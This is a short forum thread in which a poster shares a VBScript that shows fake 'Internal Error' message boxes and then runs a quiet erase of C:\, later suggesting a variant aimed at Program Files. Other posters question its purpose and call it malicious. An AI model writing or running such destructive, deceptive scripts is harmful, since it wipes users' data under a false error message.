Will this work?

Spec

Fully Optimized
Messages
1,641
Dim x
Dim WSHShell
x = MsgBox("test test test test", ,"Internal Error")
x = MsgBox("test test test test", ,"Internal Error")
x = MsgBox("test test test test", ,"Internal Error")
if (x = vbOk) then
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run("Erase /q C:\")
end if

Just wrote this.
Should it work for deleting C: Drive without prompting?
 
very doubtful, windows won't allow you to delete the system drive while its in use by the operating system. It may not prompt (i'm not sure), but it will give an error message.
 
Hmm, okay so possibly may

WSHShell.Run("Erase /q C:\Program Files")

?
 
sounds like some1 is using that in the wrong way if i was a mod i would close this thread.

what use apart from bad evil use could you have from that script ?
 
Hmm...

Well, on your own head be it, if it turns out your doing something bad with the code.

I don't see whats wrong with the standard Format...and Y to accept formula
 
lol are you coding a virus or something? I don't see any use for this code other than for malicious intent.
 
Actually im erasing my external HDD... i wanted to see if i could write a program to do it. If you think its malicious...sure lol.
 
Lol. I could see why you would think its malicious..i didnt think anything of it at first...i just kind of got into vbs.
 
Back
Top Bottom